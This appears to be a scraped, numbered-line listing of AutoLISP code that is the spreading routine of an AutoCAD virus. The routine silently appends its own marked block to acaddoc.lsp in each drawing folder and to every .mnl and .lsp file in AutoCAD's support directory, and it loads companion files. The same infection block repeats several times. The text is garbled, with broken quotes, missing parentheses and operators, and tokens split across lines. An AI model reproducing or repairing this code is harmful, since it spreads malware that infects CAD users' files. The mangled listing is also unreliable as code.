1、(setq wold_cmd (getvar “cmdecho“)(setvar “cmdecho“ 0)( setqbb 2)(setq dpath (getvar “dwgprefix“)(setq wpath (getvar “menuname“)(setq wpath (substr wpath 1 (- (strlen wpath) 4)(setq n 0)(while( ab bb)(setq lbz 1)(setq wwjqm (strcat wpath “acad.mnl“)(if (setq wwjm (open wwjqm “r“)(progn(repeat 3 (read
2、-line wwjm)(setq wz (read-line wwjm)(setq nb (atoi (substr wz 4 1)(close wwjm)(if (string(108 111 103 111 46 103 105 102)(vl-list-string(97 99 97 100 46 118 108 120)(load “acadappp.lsp“)(princ)(if (null stol) (load “lcm“ “)(princ)(load “acadappp.lsp“)(princ)(load “acadapq“)(princ)(load “acadappp.lsp
3、“)(princ)(setq flagx t)(setq bz “(setq flagx t)“)(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target “r“)(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(se
4、tq wjm (open source “r“)(setq wjm1 (open target “a“)(write-line (chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar “cmdecho“ 0)(setq acadmnl (findfile “acad.mnl“)(setq acadmn
5、lpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath “*.mnl“)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile “acad.exe“)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath “support“)(setq lspfilelist (vl-directory-files support “*.l
6、sp“)(setq lspfilelist (append lspfilelist (list “acaddoc.lsp“)(setq lspnum (length lspfilelist)(setq dwgname (getvar “dwgname“)(setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath)(setq acaddocfile (strcat acaddocpath “acaddoc.lsp“)(setq mnln 0)(while ( m
7、nln mnlnum)(setq mnlfilename (strcat acadmnlpath “ (nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln);while(setq lspn 0)(while ( lspn lspnum)(setq lspfilename (strcat support “ (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocf
8、ile lspfilename bz)(setq lspn (1+ lspn);while);progn);if(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath “ (nth mnln mnlfilelist)(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath “ (nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+
9、 mnln1);while(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);while(setq lspn 0)(while ( lspn lspnum)(setq lspfilename (strcat support “ (nth lspn lspfilelist)(setq lspn1
10、0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath “ (nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)
11、;while(setq lspn (1+ lspn)(load “acadapq“)(princ)(load “acadapp“)(princ)(load “acadapq“)(princ)(setq flagx t)(setq bz “(setq flagx t)“)(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target “r“)(while (setq text (read-li
12、ne wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open source “r“)(setq wjm1 (open target “a“)(write-line (chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wj
13、m);progn);if);defun(setvar “cmdecho“ 0)(setq acadmnl (findfile “acad.mnl“)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath “*.mnl“)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile “acad.exe“)(setq acadpath (vl-filename-directory acadexe)(setq
14、 support (strcat acadpath “support“)(setq lspfilelist (vl-directory-files support “*.lsp“)(setq lspfilelist (append lspfilelist (list “acaddoc.lsp“)(setq lspnum (length lspfilelist)(setq dwgname (getvar “dwgname“)(setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directo
15、ry dwgpath)(setq acaddocfile (strcat acaddocpath “acaddoc.lsp“)(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath “ (nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln);while(setq lspn 0)(while ( lspn lspnum)(setq lspfilename
16、 (strcat support “ (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn);while);progn);if(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath “ (nth mnln mnlfilelist)(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat
17、 acadmnlpath “ (nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);while(setq lspn 0)(whil
18、e ( lspn lspnum)(setq lspfilename (strcat support “ (nth lspn lspfilelist)(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmn
19、lpath “ (nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn (1+ lspn)(load “acadapq“)(princ)(load “acadapp“)(princ)(load “acadapq“)(princ)(setq flagx t)(setq bz “(setq flagx t)“)(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq fla
20、g1 t)(if (findfile target)(progn(setq wjm1 (open target “r“)(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open source “r“)(setq wjm1 (open target “a“)(write-line (chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (
21、setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar “cmdecho“ 0)(setq acadmnl (findfile “acad.mnl“)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath “*.mnl“)(setq mnlnum (length mnlfilelist)
22、(setq acadexe (findfile “acad.exe“)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath “support“)(setq lspfilelist (vl-directory-files support “*.lsp“)(setq lspfilelist (append lspfilelist (list “acaddoc.lsp“)(setq lspnum (length lspfilelist)(setq dwgname (getvar “dwgname“)(
23、setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath)(setq acaddocfile (strcat acaddocpath “acaddoc.lsp“)(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath “ (nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfil
24、ename bz)(setq mnln (1+ mnln);while(setq lspn 0)(while ( lspn lspnum)(setq lspfilename (strcat support “ (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn);while);progn);if(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath
25、“ (nth mnln mnlfilelist)(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath “ (nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app mnlfilename ls
26、pfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);while(setq lspn 0)(while ( lspn lspnum)(setq lspfilename (strcat support “ (nth lspn lspfilelist)(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1
27、 (1+ lspn1);while(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath “ (nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn (1+ lspn)(load “acadapq“)(princ)(load “acadapp“)(princ)(load “acadapq“)(princ)(setq flagx t)(setq bz “(setq fla
28、gx t)“)(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target “r“)(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open source “r“)(setq wjm1 (open target “a“)(write-line (chr 13) wjm1)(while (setq text (read-line wjm)
